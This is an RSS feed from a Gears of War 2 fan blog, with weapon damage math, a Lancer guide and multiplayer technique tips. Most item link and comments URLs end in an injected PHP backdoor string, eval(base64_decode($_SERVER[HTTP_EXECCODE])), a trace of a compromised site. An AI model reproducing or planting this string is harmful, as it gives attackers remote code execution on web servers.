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	<title>Gears of War Addicts &#187; Lancer</title>
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		<title>Gears of War 2: Math 101</title>
		<link>http://gearsofwaraddicts.com/2009/07/20/math-101/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gearsofwaraddicts.com/2009/07/20/math-101/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 03:02:46 +0000</pubDate>
		<dc:creator>LockDown</dc:creator>
				<category><![CDATA[Gears of War Guides]]></category>
		<category><![CDATA[Boltok]]></category>
		<category><![CDATA[Damage]]></category>
		<category><![CDATA[Gears]]></category>
		<category><![CDATA[Gorgon]]></category>
		<category><![CDATA[Hammerburst]]></category>
		<category><![CDATA[Lancer]]></category>
		<category><![CDATA[Lancer Vs Hammerburst]]></category>
		<category><![CDATA[Math]]></category>
		<category><![CDATA[Pistol]]></category>
		<category><![CDATA[rifle]]></category>
		<category><![CDATA[Snub]]></category>
		<category><![CDATA[Weapons]]></category>

		<guid isPermaLink="false">http://gwa.justasktheitguy.com/?p=2385</guid>
		<description><![CDATA[
I told everyone to expect a math post and here it is! So recently I got my hands on the scan of the weapon chart, and after some digging and some tests I’ve got a whole new set of data for you my friends. Lets start with the basic math.

Each player has a stock of 600 [...]]]></description>
			<content:encoded><![CDATA[<div class="wp-caption aligncenter" style="width: 410px"><img src="http://cachei.gamedesire.com/gda_data/1198/1198_l.jpg" alt="Results May Vary" width="400" height="300" /><p class="wp-caption-text">Results May Vary</p></div>
<div class="mceTemp mceIEcenter">
<dt>I told everyone to expect a math post and here it is! So recently I got my hands on the scan of the weapon chart, and after some digging and some tests I’ve got a whole new set of data for you my friends. Lets start with the basic math.</dt>
</div>
<p>Each player has a stock of 600 hp when they spawn. IF you take damage you will start regaining 200 hp every second after 2 seconds. Meaning if your at 100 hp, after 2 seconds your at 300hp after 3 seconds your at 500 and after 4 seconds your at 600, so in 4 seconds of not getting shot you will regain your full hp. Granted lag can throw this off a second or two.</p>
<p><span id="more-2385"></span>So now that you guys know that the hp is 600, if you do 600 damage it will down your opponent, unless a headshot is the final damage point, or if the weapon your using has the effect to gib(being blown to pieces).</p>
<p>Lets start with the age old question which is better the Lancer to the HammerBurst? Well mathematically speaking the numbers speak for themselves if you’re a headshot king.</p>
<p><strong>Hammerburst</strong></p>
<ul>
<li>Mag Size – 17</li>
<li>Damage – 80</li>
<li>Long Range – 48</li>
<li>Reload Time – 2 seconds(1 or so Active)</li>
<li>Headshot Bonus – 110%</li>
<li>Fire Rate &#8211; 250</li>
<li>Melee Dmg &#8211; 338</li>
</ul>
<p><strong>Lancer</strong></p>
<ul>
<li>Mag Size – 50</li>
<li>Damage – 38</li>
<li>Long Range – 23</li>
<li>Reload Time -  2.5 Seconds ( 1.5 or so Active)</li>
<li>Headshot Bonus – 150%</li>
<li>Fire Rate &#8211; 550</li>
</ul>
<p>So there are so many ways to display this data, so I’m going to give four examples 100%, 75%, 50%, and 0% headshot Accuracy. And then all four of those at Long Range.</p>
<p><strong>100%</strong></p>
<ul>
<li>HB – 7(HS)*80*1.1 = 616</li>
<li>L – 11(HS)*38*1.5 = 627</li>
</ul>
<p>Notice 7 bullets from the HB and 11 from the L, the Lancer out plays the HB easily, while 7 is less than 11 counting in fire rate. The Lancer is twice as fast as the HB meaning 11/2 = 5.5 and 5.5 is less than 7, now assuming that this guide shows 250 as the fire rate for holding down the hammer, I’ll bump the Fire Rate up to 300. That puts the Lancer at 80% faster. 11/1.8 = 6.1 which is still less than 7. That’s assuming 100% headshot, which is highly unlikely.</p>
<p><strong>75%</strong></p>
<ul>
<li>HB – 2*80+5(HS)*80*1.1 = 600</li>
<li>L &#8211; 4*38+8(HS)*38*1.5 = 608</li>
</ul>
<p>Notice the HB still does it in 7, while the Lancer takes 12, now lets take fire rate into consideration. 12/1.8 = 6.66 which is still less than 7.</p>
<p><strong>50%</strong></p>
<ul>
<li>HB – 4*80+4(HS)*80*1.1 = 672</li>
<li>L &#8211; 6*38+7(HS)*38*1.5 = 627</li>
</ul>
<p>At 50% Rounded up to the next bullet, notice the HB went up to 8 Bullets. The lancer still beats out the hammer 13/1.8 = 7.2 which is still less than 8.</p>
<p><strong>25%</strong></p>
<ul>
<li>HB – 6*80+2(HS)*80*1.1 = 656</li>
<li>L &#8211; 10*38+4(HS)*38*1.5 = 608</li>
</ul>
<p>The Lancer moved up a bullet, however 14/1.8 = 7.77 which is still less than the HB. Making it still dominate.</p>
<p><strong>0%</strong></p>
<ul>
<li>HB – 8*80 = 640</li>
<li>L &#8211; 16*38 = 608</li>
</ul>
<p>Finally! Now if the L and the HB both are at 0% the HB wins, 16/1.8 = 8.8 which is more than 8.</p>
<p>Now Remember all of this assumes every bullet lands, and that’s a little more difficult with the lancer but if your pro with it, there are the results at medium Range. Now on to long range.</p>
<p><strong>100% Long Range</strong></p>
<ul>
<li>HB – 12(HS)*48*1.1 = 633.6</li>
<li>L – 18(HS)*23*1.5 = 621</li>
</ul>
<p>Again The Lancer dominates 18/1.8 = 10 and 10 is less than 12, so assuming 100% headshots the Lancer wins.</p>
<p><strong>75% Long Range</strong></p>
<ul>
<li>HB – 4*48+8(HS)*48*1.1 = 614.4</li>
<li>L &#8211; 5*23+15(HS)*23*1.5 = 632.5</li>
</ul>
<p>Again the Lancer barely slides under 20/1.8 = 11.1, which is less than 12.</p>
<p><strong>50% Long Range</strong></p>
<ul>
<li>HB – 6*48+6(HS)*48*1.1 = 604.8</li>
<li>L &#8211; 10*23+11(HS)*23*1.5 = 609.5</li>
</ul>
<p>Again the Lancer barely slides under 21/1.8 = 11.66, which is less than 12.</p>
<p><strong>25% Long Range</strong></p>
<ul>
<li>HB – 10*48+3(HS)*48*1.1 = 638.4</li>
<li>L –  18*23+6(HS)*23*1.5 = 621</li>
</ul>
<p>At long range the Lancer is beat at 25% 24/1.8 = 13.3 which is greater than 13.</p>
<p><strong>0% Long Range</strong></p>
<ul>
<li>HB – 13*48 = 624</li>
<li>L &#8211; 27*23 = 621</li>
</ul>
<p>This one is way off, 27/1.8 = 15, which is greater by 2 bullets, than the 13 the hammer needs.</p>
<p>Now all of this math is considered to be just that math, pure solid numbers, this assumes that you hit every bullet, and we all know how hard that is with the lag, but it does show that the Lancer shooting wise is greater when headshots are present.</p>
<p>Now onto the Pistols I’ll be comparing the Gorgon the Boltok and the Snub Pistol. All of which have very different properties, but lets see which one will do the most damage. As with the pistols I’ll be doing 100%,75%,50%,25%,0% at normal and long range.</p>
<p><strong>Gorgon </strong></p>
<ul>
<li>Mag Size- 24(4 trigger pulls of 6)</li>
<li>Damage – 55</li>
<li>Long Range – 33</li>
<li>Reload Time – 2(1.5 if actived)</li>
<li>Headshot Bonus – 300%</li>
<li>Melee – 425</li>
<li>Fire Rate &#8211; 1200</li>
</ul>
<p><strong>Snub </strong></p>
<ul>
<li>Mag Size- 12</li>
<li>Damage &#8211; 55</li>
<li>Long Range – 33</li>
<li>Reload Time – 2(1 if actived)</li>
<li>Headshot Bonus – 200%</li>
<li>Melee – 338</li>
<li>Fire Rate – 700</li>
</ul>
<p><strong>Boltok</strong></p>
<ul>
<li>Mag Size-</li>
<li>Damage – 250</li>
<li>Long Range – 200</li>
<li>Reload Time – 2(1 if actived)</li>
<li>Headshot Bonus – 200%</li>
<li>Melee – 338</li>
<li>Fire Rate – 60</li>
</ul>
<p><strong>100%</strong></p>
<ul>
<li>S – 4(HS)*55*3 = 660</li>
<li>G – 6(HS)*55*2 = 660</li>
<li>B &#8211; 2(HS)*250*2 = 1000</li>
</ul>
<p>So the Boltok will be the standard that the other two weapons are based off since it is the slowest weapon, putting the boltok at 2. Counting in Fire rate 6/12 = .5 meaning at rate of fire 700 compared to the boltoks 60 it is more efficient by far due to the rate of fire since .5 is less than 4. 4/20 = .2 Which makes the gorgon the best of all.</p>
<p>Now before I keep going id like to note the math used here incase I’ve rambled to fast 6(number of bullets)/12(how many times faster the weapon is than the boltok) = .5(The amount of bullets fired compared to boltoks fire rate)</p>
<p><strong>75%</strong></p>
<ul>
<li>S – 2*55+5(HS)*55*2 = 660</li>
<li>G – 1*55+4(HS)*55*3 = 715</li>
<li>B &#8211; 1*250+1(HS)*250*2 = 750</li>
</ul>
<p>The snub is second with 7/12 = .58 and the gorgon is first with 5/20 = .25.</p>
<p><strong>50%</strong></p>
<ul>
<li>S – 3*55+4(HS)*55*2 = 605</li>
<li>G – 2*55+3(HS)*55*3 = 605</li>
<li>B &#8211; 1*250+1(HS)*250*2 = 750</li>
</ul>
<p>The numbers don’t change at all other than overall damage, since the bullet count doesn’t change the results are the same.</p>
<p>The snub is second with 7/12 = .58 and the gorgon is first with 5/20 = .25</p>
<p><strong>25%</strong></p>
<ul>
<li>S- 7*55+2(HS)*55*2 = 605</li>
<li>G- 5*55+2(HS)*55*3 = 605</li>
<li>B &#8211; 1*250+1(HS)*250*2 = 750</li>
</ul>
<p>The snub is second with 9/12 = .75 and the gorgon is first with 7/20 = .35</p>
<p><strong>0%</strong></p>
<ul>
<li>S – 11*55 = 605</li>
<li>G – 11*55 = 605</li>
<li>B – 3*250 = 750</li>
</ul>
<p>The results do not change still putting the snub at second with 11/12 = .92 and the gorgon at first again with 11/20 = .55</p>
<p>Now again This is all based on 100% accuracy meaning no bullets miss, but if so much as one bullet misses it throws off all of this math.</p>
<p><strong>100% Long Range</strong></p>
<ul>
<li>S- 10(HS)*33*2 = 660</li>
<li>G- 7(HS)*33*3 = 693</li>
<li>B- 2(HS)*200*2 = 800</li>
</ul>
<p>The snub is second with 10/12 = .83 and the gorgon at first with 7/20 = .35</p>
<p><strong>75% Long Range</strong></p>
<ul>
<li>S – 3*33+8(HS)*33*2 = 627</li>
<li>G – 2*33+6(HS)*33*3 = 660</li>
<li>B – 1*200+1(HS)*200*2 = 600</li>
</ul>
<p>The snub at 11/12 = .92 and the Gorgon at 8/20 = .4</p>
<p><strong>50% Long Range</strong></p>
<ul>
<li>S – 6*33+7(HS)*33*2 = 660</li>
<li>G – 4*33+5(HS)*33*3 = 627</li>
<li>B &#8211; 1*200+1(HS)*200*2  = 600</li>
</ul>
<p>The gorgon at 9/20 = .45 still lower than 2, however the snub pistol crosses its clip limit into 13, adding in a 1 second reload time, which puts it past the Boltok easily as well as the gorgon, so from now on I wont be calculating the fire rate for the snub to the boltok.</p>
<p><strong>25% Long Range</strong></p>
<ul>
<li>S – 11*33+4(HS)*33*2 = 627</li>
<li>G – 10*33+3(HS)*33*3 = 627</li>
<li>B – 1*200+1(HS)*200*2  = 600</li>
</ul>
<p>The gorgon at 13/20 = .65 which is still better than the Boltok.</p>
<p><strong>0% Long Range</strong></p>
<ul>
<li>S – 19*33 = 627</li>
<li>G – 19*33 = 627</li>
<li>B – 3*200 = 6</li>
</ul>
<p>Again the Snub is way out of pace, but the gorgon at 19/20 = .95 so its still twice as effective as the boltok assuming perfect aim and conditions. Now there is a slight pause between the gorgon’s fire, but not enough to cause a major problem in the math.</p>
<p>So Remember this is all math, this does not include normal accuracy just headshot accuracy, and it does not include active reload measures, which would change the pistols results, but not the Rifles, the rifle boost is 20% damage for them both, the results would be the same, the damage would just be higher.</p>
<p>Enjoy Gears Everyone!!!</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Gears of War 2 Lancer Guide</title>
		<link>http://gearsofwaraddicts.com/2009/06/08/1202/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gearsofwaraddicts.com/2009/06/08/1202/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 03:22:45 +0000</pubDate>
		<dc:creator>LockDown</dc:creator>
				<category><![CDATA[Gears of War Guides]]></category>
		<category><![CDATA[chainsaw]]></category>
		<category><![CDATA[Guide]]></category>
		<category><![CDATA[Help]]></category>
		<category><![CDATA[Lancer]]></category>
		<category><![CDATA[rifle]]></category>

		<guid isPermaLink="false">http://gwa.justasktheitguy.com/?p=1202</guid>
		<description><![CDATA[
 The lancer is a powerful weapon if used correctly however victory with the lancer is much more difficult than the Hammerburst.  Lets start with the stats.
Stats
-Ammo Capacity 50 rounds
-Chainsaw bayonet effective Range 5m(including the average vacuum)
-Active Reload 20% damage Bonus
-Maximum Effective Range 35m
-Accurate up to 65-70m
-Difficulty to Successfully Master- Hard

The lancer is the best support [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-1201   aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/06/stats-weap-lancer.gif" alt="stats-weap-lancer" width="412" height="166" /></p>
<p> The lancer is a powerful weapon if used correctly however victory with the lancer is much more difficult than the Hammerburst.  Lets start with the stats.</p>
<h4>Stats</h4>
<p>-Ammo Capacity 50 rounds</p>
<p>-Chainsaw bayonet effective Range 5m(including the average vacuum)</p>
<p>-Active Reload 20% damage Bonus</p>
<p>-Maximum Effective Range 35m</p>
<p>-Accurate up to 65-70m</p>
<p>-Difficulty to Successfully Master- Hard</p>
<p><span id="more-1202"></span></p>
<p>The lancer is the best support rifle, it simply provides the best cover fire around next to the Mulcher that is. Spraying bullets from behind cover is amazing for keeping people at bay. It also is amazing within 15m keep train on the target they will never reach you, Especially actived. You can fire the lancer for around 7 seconds before the clip is empty. That&#8217;s 49 seconds of fire from the spawn, counting active reloads you can fire back to back for about 56 seconds or so. When many enemies are approaching spraying one at a time then focusing on another target one by one is amazing.  If more than one enemy gets within a perimeter of 15m begin backing up or switch to the shotgun.</p>
<p> </p>
<p>Onto the bayonet, the chainsaw is an amazing tool, sometimes referred to as the noob weapon. However to be used efficiently it takes a true master to use it and not be destroyed afterwards.  There are a few techniques to chainsawing effectively.</p>
<p> </p>
<h4>Tips:</h4>
<p>-Only three weapons can stop the chainsaw from reving in one bullet</p>
<p>-Boltok &#8211; Shotgun &#8211; Mulcher(assuming multiple bullets connect)</p>
<p>-The shotgun can sometimes miss and still let a chainsaw go through.</p>
<p>-Reving the chainsaw past a smoke grenade will ignore the stun.</p>
<p> </p>
<h4>Lancer Techniques</h4>
<h5>Stalwart Firing</h5>
<p>This technique is simply, put bullets into anyone charging towards you, this will slow them down and make them bait if they cant find cover. Simple but effective, keep bullets in them .</p>
<p> </p>
<h5>Ninja Lancer</h5>
<p>Take cover behind and object concealing most of your body, fire a couple of shotgun shells towards your opponents, then conceal your entire body switch to the lancer and wait for your opponent to come close, then chainsaw them. Works round 70% of the time. The longer you can continue to fire shotgun shells the longer they will believe your going to go toe to toe with the shotgun.</p>
<p> </p>
<h5>The Dancing Blade(NEW!)</h5>
<p>This is one of my favorites, when wielding the revved bayonet swivel your character back and forth to help dodge bullets, this helps keep your blade up, it keeps a full shotgun shell from hitting and helps dodging boltok, and hammer fire. It works often against anyone who isn&#8217;t a veteran at maneuverability.</p>
<p> </p>
<h5>The Blade from the Shadows(NEW!)</h5>
<p>This is also one of my favorites, this involved some serious wall bouncing techniques, once you learn to wall bounce you can bounce around people with shotguns and lancer them. When it works its amazing, estimated success rate going toe to toe with a shotgun, 60% or so. If you&#8217;re a veteran or a master at wall bouncing I&#8217;d say around 80% chance. But experienced players will see a lower number.</p>
<p>Bottom line is that this weapon has been under rated for quite a while. It is amazing and I actually prefer it in every mode, except for wingman. Mainly because in wingman the strict downing power is a preference of mine, not necessarily better just my preference.  The intimidation factor I tell everyone about is simply astounding, everyone always back peddles away from the lancer as soon as its revved. Very few dare fight the fangs of a chainsaw&#8217;s blade.</p>
<p> </p>
<p>PS: I&#8217;d like to establish credit to NinjaSwitch17, I learned the two moves that have &#8220;NEW!&#8221; next to them while training with him. If you can ever grab him in 1 on 1, he knows most of the techniques I know, and a few I don&#8217;t I&#8217;m sure. Plus he is a great wall bouncer, he helped me develop mine.</p>
<p> </p>
<p>I&#8217;ll be happy to explain any of this further if you want to message me, my tag is Gizmoh and my email is <a href="mailto:superjunkmail71@gmail.com">superjunkmail71@gmail.com</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>HammerBurst Vs. The Lancer</title>
		<link>http://gearsofwaraddicts.com/2009/05/20/hammer-burst-vs-the-lancer/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gearsofwaraddicts.com/2009/05/20/hammer-burst-vs-the-lancer/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 21 May 2009 03:25:06 +0000</pubDate>
		<dc:creator>LockDown</dc:creator>
				<category><![CDATA[Gears of War Guides]]></category>
		<category><![CDATA[Burst]]></category>
		<category><![CDATA[Hammer]]></category>
		<category><![CDATA[Hammer Burst]]></category>
		<category><![CDATA[Lancer]]></category>

		<guid isPermaLink="false">http://gwa.justasktheitguy.com/?p=893</guid>
		<description><![CDATA[ 
The two main starting weapons are the Hammer burst and the Lancer.           
The two weapons are completely different, however I believe they both have their uses in any game. I&#8217;ll start by laying out their strengths and weaknesses then explain the weapon further.
Lancer-
The lancer is an assault rifle with a chainsaw [...]]]></description>
			<content:encoded><![CDATA[<p> <img class="alignnone size-full wp-image-901" title="gow2_lancer-hammerburst" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/gow2_lancer-hammerburst.jpg" alt="gow2_lancer-hammerburst" width="517" height="189" /></p>
<p>The two main starting weapons are the Hammer burst and the Lancer.           </p>
<p>The two weapons are completely different, however I believe they both have their uses in any game. I&#8217;ll start by laying out their strengths and weaknesses then explain the weapon further.</p>
<p><span id="more-893"></span><strong><span style="text-decoration: underline;">Lancer</span>-</strong></p>
<p>The lancer is an assault rifle with a chainsaw blade on the end. The chainsaw is activated by holding the B button. While holding the B button if you tap or hold the Right Trigger it will rev up the chainsaws motor. The lancer has roughly double the bullets that the Hammer Burst holds. </p>
<p><span style="text-decoration: underline;"><strong>Strengths</strong></span>-</p>
<p>1- Slows enemies when bullets hit one after the other</p>
<p>2- One shot kill chainsaw(melee range)</p>
<p>3- Vacuum effect</p>
<p>4- A+ Cover Fire</p>
<p>5- Intimidation </p>
<p><strong><span style="text-decoration: underline;">Weaknesses</span></strong>-</p>
<p>A- Low Down Rate</p>
<p>B- Chainsaw Fever</p>
<p>C- Out Gunned</p>
<p>D- No Quick Defense</p>
<p>E- Chainsaw Down Time</p>
<p><span style="text-decoration: underline;"><strong>Lancer  Strengths Explained</strong></span></p>
<p>1 &#8211; The slow on an opponent is amazing when trying to catch anyone or keep someone away. The slow on the lancer is extremely superb in comparison to the Hammer Burst.</p>
<p> 2 &#8211; The chainsaw when it connects instantly kills its target.</p>
<p> 3 &#8211; The vacuum effect is a gravitational pull attached to the chainsaw created by lag, it allows the chainsaw extra range due to the lag between the host and player. This is usually enough to chainsaw most shotgun users who are caught off guard or inexperienced fighting the vacuum effect.</p>
<p> 4 &#8211; This weapon provides amazing cover fire, it slows and does decent damage, this can stumble up plenty of opponents especially if they are running in a line.</p>
<p> 5 &#8211; Having the chainsaw out alone is enough to send the weak scattering backwards. No one wants to be 1 ko&#8217;d. Veterans will roll back once or twice and fight, but most people will run from it a good distance before thinking of returning to the fight.</p>
<p><span style="text-decoration: underline;"><strong>Lancer</strong> <strong>Weaknesses Explained</strong></span></p>
<p>A &#8211; The lancer downs an opponent about 3 times slower than the Hammer Burst. The damage it causes isn&#8217;t enough to fight power weapons toe to toe like expert Hammer Burst users can achieve.</p>
<p> B &#8211; Simply put those who use the chainsaw tend to use it more often than they should, resulting in good deaths.</p>
<p> C &#8211; The lancer generally gets outgunned against other ranged weapons due to power levels in them.</p>
<p> D &#8211; Unfortunately if surprised by a shotgunnner the lancer has no quick defense, where other weapons can melee the shotgunner and run as fast as possible in the other direction, and if you try to chainsaw that type of attack you generally will lose.</p>
<p> E &#8211; The chainsaw has a down time in the sense that when you chainsaw someone, your left wide open for an attack. After chain-sawing someone your left open to be instantly downed.</p>
<p><strong><span style="text-decoration: underline;">Hammerburst</span>-</strong></p>
<p>The hammer burst is a Locust weapon, it is a single shot rifle and does a large amount of damage. The Hammer Burst lacks the chainsaw but its extreme down power and flexibility makes up for it easily.</p>
<p><strong><span style="text-decoration: underline;">Strengths</span></strong>-</p>
<p>1- High Down Rate</p>
<p>2- Quick Defense</p>
<p>3- Universal use</p>
<p><strong><span style="text-decoration: underline;">Weaknesses</span></strong>-</p>
<p>A- Runs out of Ammo quick</p>
<p>B- Doesn&#8217;t Have the Chainsaw</p>
<p><strong><span style="text-decoration: underline;">Hammerburst Strengths Explained</span></strong></p>
<p>1 &#8211; The Hammer Burst downs an opponent much faster than the Lancer, the hammer can easily down two enemies with one clip assuming the active reload is set, and no bullets miss.</p>
<p> 2 &#8211; The Hammer Burst has the melee ability to stun an opponent and back away or fire into them to down them. (though I usually recommend running)</p>
<p> 3 &#8211; The Hammer Burst has a universal use, I use it against every weapon I go against. Boomshot, Torque, Shotgun etc.</p>
<p><strong><span style="text-decoration: underline;">Hammerburst Weaknesses Explained</span></strong></p>
<p>A &#8211; The downside to this rifle is it constantly needs to be reloaded. I feel like I can fight for 4-6 seconds and I&#8217;m reloading again.</p>
<p> B &#8211; It simply doesn&#8217;t have the chainsaw. Lacking intimidation and the one shot kill technique. </p>
<p> </p>
<p>Oh on a side note-</p>
<p> I remembered a technique for the Lancer that I didn&#8217;t mention in the guide.</p>
<p><strong><span style="text-decoration: underline;">Ninja Lancer</span></strong>-</p>
<p>Simply hide behind your cover, pull out the shotgun fire a few rounds to let your opponent see your shotgun, then hide back and equip the lancer. Ensure that your lancer is not seen after you equip it, wait for your opponent to charge you and chainsaw them, you will usually catch them off guard. / Running as fast as you can and rolling a lot, as soon as you get in range Chainsaw!!!</p>
<p>As with all my articles if you ever have any questions you can post on the forums or email me at <a href="mailto:superjunkail71@gmail.com"><span>superjunkail71@gmail.com</span></a></p>
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		<title>Gears of War 2 Survival Guide Part 3</title>
		<link>http://gearsofwaraddicts.com/2009/05/17/gears-of-war-guide-part-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sun, 17 May 2009 17:25:33 +0000</pubDate>
		<dc:creator>LockDown</dc:creator>
				<category><![CDATA[Gears of War Guides]]></category>
		<category><![CDATA[Boltok]]></category>
		<category><![CDATA[Frag]]></category>
		<category><![CDATA[Gorgon]]></category>
		<category><![CDATA[Grenade]]></category>
		<category><![CDATA[Grenades]]></category>
		<category><![CDATA[Guide]]></category>
		<category><![CDATA[Hammerburst]]></category>
		<category><![CDATA[Help]]></category>
		<category><![CDATA[Ink]]></category>
		<category><![CDATA[Lancer]]></category>
		<category><![CDATA[Longshot]]></category>
		<category><![CDATA[Mortar]]></category>
		<category><![CDATA[Mulcher]]></category>
		<category><![CDATA[Pistol]]></category>
		<category><![CDATA[Scorcher]]></category>
		<category><![CDATA[Shotgun]]></category>
		<category><![CDATA[Smoke]]></category>
		<category><![CDATA[Sniper]]></category>
		<category><![CDATA[Snub]]></category>
		<category><![CDATA[Snub Pistol]]></category>
		<category><![CDATA[Torque Bow]]></category>
		<category><![CDATA[Weapons]]></category>

		<guid isPermaLink="false">http://gwa.justasktheitguy.com/?p=776</guid>
		<description><![CDATA[Number 6, Shotgun Techniques:

There are 3 common techniques when using the shotgun the 1-2(two piece), The rollback(sometimes mistaken for common blind firing), and the Straight Aim.
1-2(two piece)
Simple melee then fire. The basic form of this technique is the melee, then to aim your shotgun and fire upon your opponent, while being the easier to master, [...]]]></description>
			<content:encoded><![CDATA[<h3>Number 6, Shotgun Techniques:</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-gnashershotgun-300x120.gif" alt="stats-weap-gnashershotgun" width="300" height="120" /></p>
<p>There are 3 common techniques when using the shotgun the 1-2(two piece), The rollback(sometimes mistaken for common blind firing), and the Straight Aim.</p>
<h4>1-2(two piece)</h4>
<p>Simple melee then fire. The basic form of this technique is the melee, then to aim your shotgun and fire upon your opponent, while being the easier to master, the advanced 1-2 is much more efficient. The advanced version of this skill is meleeing then firing from the hip they will die, or be downed; regardless they are out of your way.</p>
<h4>The Rollback</h4>
<p>Quite simple really, when someone is coming towards you in an attempt to 1-2 you, back up slightly enough to be out of melee range, and once they miss their melee you roll the control movement stick forward and fire from the hip. It will either one shot them or weaken them enough where another shot will down them. While learning this technique is hard it is equally effective against anyone attempting to melee you, especially grenade taggers. It will take some work to do perfectly since your predicting your enemy&#8217;s melees.</p>
<h4>Straight Aim</h4>
<p>It is as it is said. Aim your shotgun and fire, this technique should be used at a distance only, if your in melee range and your opponent is not stunned you should not be using this technique.</p>
<h3>Advanced Techniques</h3>
<h4>Sniping with the Hip Fire</h4>
<p>Once you become skilled with firing form the hip you can be a far distance from your opponent and hit them, this technique is used mainly for chasing people, and you should never try and engage someone front to front with a hip fire from a range.</p>
<h4>The Rolling 1-2(Two piece)</h4>
<p>It is the ultimate close range technique. You melee rollback and roll forward and fire or melee roll back and pop shot. This allows you to setup your kill while dodging their counter attacks, the only reason this is useful is due to lag sometimes your melee attacks will not stun, and this covers your ass. This technique requires good aim and mobility combined all at once.</p>
<p>Now for a little info, the Straight Aim is only good outside of melee range.</p>
<p><img src="http://gwa.justasktheitguy.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /><span id="more-776"></span></p>
<h3>Number 7, Hammerburst Techniques:</h3>
<p><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-hammerburst.gif" alt="stats-weap-hammerburst" width="412" height="166" /></p>
<h4>The Super Trigger</h4>
<p>Simply aim at your targets knees, and pull the trigger as fast as possible. This only works if they are standing still your running to you or from you in a straight line, not many people can do this at a person running sidewise.</p>
<h4>The Spray and Pray</h4>
<p>Simply aim at the target and fire fast but not so crazy that you cant keep your aim trained on the person.</p>
<h4>The Safe Bet</h4>
<p>Trying to simply do damage? Hold the right trigger, the hammer is slower but the recoil is a lot less vicious.</p>
<h4>1-2-Skip a Few</h4>
<p>Melee, then aim and fire as fast as you can. It actually works!!! Now don&#8217;t try and do this against a shotgun, unless your surprised. However for a ambushee kind of thing it works great.</p>
<h3>Number 8 Learn how to use Power Weapons:</h3>
<h3>Torque</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-torquebow.gif" alt="stats-weap-torquebow" width="412" height="166" /></p>
<p>My favorite weapon of the Gears of war Arsenal. After enough practice no one can touch you if you&#8217;re holding one of these puppies.  For starters holding the torque down long enough to ensure a stick is key. When it&#8217;s actived it will charge faster.  The common aim technique is the stick flick, where you flick the control stick just enough and release mid turn, it allows you to move your aim fast enough and release the shot into its target, there is no other way to get accuracy so quick and precise short of taking your time and adjusting it.</p>
<p>Using the environment, to your advantage, like sticking the wall right behind somebody, or shooting behind him/her so it will explode on them, teach them to use cover. This weapon can also destroy plants, but that&#8217;s a waste of the torque.</p>
<h4>Close range</h4>
<p>Melee twice using the rollback of the shotgun but for meleeing, or charge the torque and fire it where your opponent will be next and if that&#8217;s in front of you&#8230; fire and roll back.</p>
<h4>Flubber Shots</h4>
<p>Charge the torque just enough to see the arc in the line, and release against the wall so it bounces, this makes indirect shots possible, though I don&#8217;t recommend it if the torque is not actived, other wise you will only hurt them badly, very few times will a kill result from a flubber shot without active powers.</p>
<h3>LongShot Sniper</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-longhsotsniper.gif" alt="stats-weap-longhsotsniper" width="412" height="166" /></p>
<p>Basic snipers will just zoom in and try and aim for the head, but that is not always the case at all. Now sniping can be very similar to the Torque in the sense that you just pull the sniper and let the trigger go, now this is not always the case, but when someone is running around a lot the pull and fire is a big help.</p>
<p>Warning: Sometimes characters duck their when they hear the shot(you&#8217;ll see this through the scope) However it means you missed, if it was a headshot their head would have been obliterated, they didn&#8217;t dodge it, you just missed.</p>
<h4>2-1 Sniper</h4>
<p>This is kind of like the reverse 1-2, you aim your rifle, fire, then melee. This 2-1 is a little harder to do because its harder to fire on someone in melee range and it be accurate. However the technique is very powerful if you can perform it.</p>
<h4>Beat Down Dance</h4>
<p>Not exactly its on technique. Basically it&#8217;s a double beat down but you need to roll your stick around like your doing the rollback, or spinning around to your opponents back, being that close and only having melee is a dangerous thing, however the longshot&#8217;s melee seems to have a bit more of a reach than other weapons, but it also has a longer delay between the next attack.</p>
<h3>Advanced Sniping</h3>
<h4>No Scoping</h4>
<p>This is so easy to do. In fact after you get to a certain skill level with the sniper 70% of your shots will be these types of shots. All you have to do is aim your sights over their head and adjust for lag, or none at all.  Again once you hit a certain skill level just standing in the open against certain covered opponents can be the best type of advantage, for you can sometimes shoot their head, or you can wait for them to pop up to shoot you and you can take their head.</p>
<h3>BoomShot</h3>
<p style="text-align: center;"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-weap-boomshot.gif" alt="stats-weap-boomshot" width="412" height="166" /></p>
<p>This weapon doesn&#8217;t have any of its own techniques to use, simply aim at your opponents&#8217; feet and fire.  On river if you aim at the enemy&#8217;s power weapon as son as you get it you can kill the power weapon very easily, since everyone is vulnerable when they pick up a weapon.</p>
<h4>Dodging this Weapon</h4>
<p>Jump, I can usually tell when people are about to shoot, if they aren&#8217;t shooting fire into them a few bullets enough to be confident enough that they will hit you, and then jump. Some people will fire as much as they can hoping to hit. Another strategy is to close the gap tot hem, if they fire that close they are likely to hit themselves and canceling out their kill is always great. (Their kill is cancel out because they died to, so your team isn&#8217;t at a disadvantage by losing you, and they lose points for killing themselves.)</p>
<h3>Mortar</h3>
